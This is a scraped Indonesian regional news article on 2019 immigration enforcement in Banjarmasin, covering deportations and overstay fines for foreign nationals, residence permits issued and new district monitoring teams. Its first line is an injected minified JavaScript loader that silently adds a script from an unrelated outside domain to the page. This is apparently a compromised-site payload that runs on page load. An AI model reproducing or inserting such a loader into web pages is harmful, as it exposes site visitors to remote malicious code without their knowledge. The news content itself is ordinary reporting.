(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebanyak 32 pelanggaran izin keimigrasian oleh Warga Negara Asing (WNA) telah dilakukan Tindakan Administratif Keimigrasian (TAK) oleh Kantor Imigrasi Kelas I Banjarmasin, sepanjang tahun 2019 ini.
Kepala Kantor Imigrasi Kelas I TPI Banjarmasin, Syahrifullah, mengatakan diantara 32 WNA yang telah melanggar izin ini, 20 diantaranya telah dilakukan deportasi. “Tindakan Administratif Keimigrasian yang kita lakukan kepada 32 pelanggar izin ini, berupa Deportasi sebanyak 20 orang dan Pengenaan biaya beban Overstay kepada 12 Orang,” katanya saat menggelar konfrensi pers Capaian Kinerja 2019, Selasa (31/12) siang.
Adapun, WNA yang dideportasi berasal dari Cina dan disusul Korea. Sedangkan, oelanggaran izin yang dilakukan puluhan WNA hampir seluruhnya dikarenakan izin tinggal telah habis masa berlakunya (Overstay).
Selain itu, Syahrifullah juga menjelaskan disepanjang tahun 2019 ini, pihaknya telah menerbitkan ratusan izin tinggal terbatas kepada Warga Negara Asing (WNA).
Tercatat, sudah ada 813 izin tinggal yang telah diterbitkan. Mayoritas pemegang lzin tinggal adalah Warga Negara Asing (WNA) berkebangsaan China dan Korea Selatan untuk keperluan bekerja sedangkan dari Pakistan untuk wisata Keagamaan.
“Mereka rata-rata kebanyakan bekerja di perusahaan, dimana emoat terbanyak yakni di PT Conch, PT Merge di Kab Banjar, dan di PLTU Asam-Asam dan Tanjung, serta di perusahaan Plywood di Basirih,” terang Syahrifullah.
Di sisi lain, Kantor Imigrasi Kelas I TPI Banjaramasin juga sudah membentuk Tim Pengawas orang Asing (TIMPORA) tingkat kecamatan pada seluruh wilayah kerja Kantor Imigrasi Banjarmasin untuk meningkatkan pengawasan orang asing di Kalsel. “Kami melakukan rapat dan pembentukan TIMPORA tingkat kecamatan pada seluruh wilayah kerja Kantor Imigrasi Banjarmasin guna memperketat pengawasan terhadap orang asing” runutnya.
Adapun Kepala Seksi Intelejen dan Penindakan Keimigrasian Kantor Imigrasi Kelas I TPI Banjarmasin Muhamad Hariyadi menambahkan, selama 2019 Kantor Imigrasi Banjarmasin tidak mengeluarkan sanksi pidana. “Tahun ini tidak ada yang mengarah ke pidana dalam hal pelanggaran imigrasi. Artinya pelanggaran imigrasi jauh menurun” lontar Hariyadi.
Dirinya pun berharap kedepan di 2020 juga tidak ada pelanggran imigrasi yang berat. “Selama 2019 hanya tindakan deportasi atau biaya beban atau overstay. Mudah mudahan di 2020 yang akan datang tidak ada pelanggaran yang berarti” sebutnya. (Rico)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
This website uses cookies.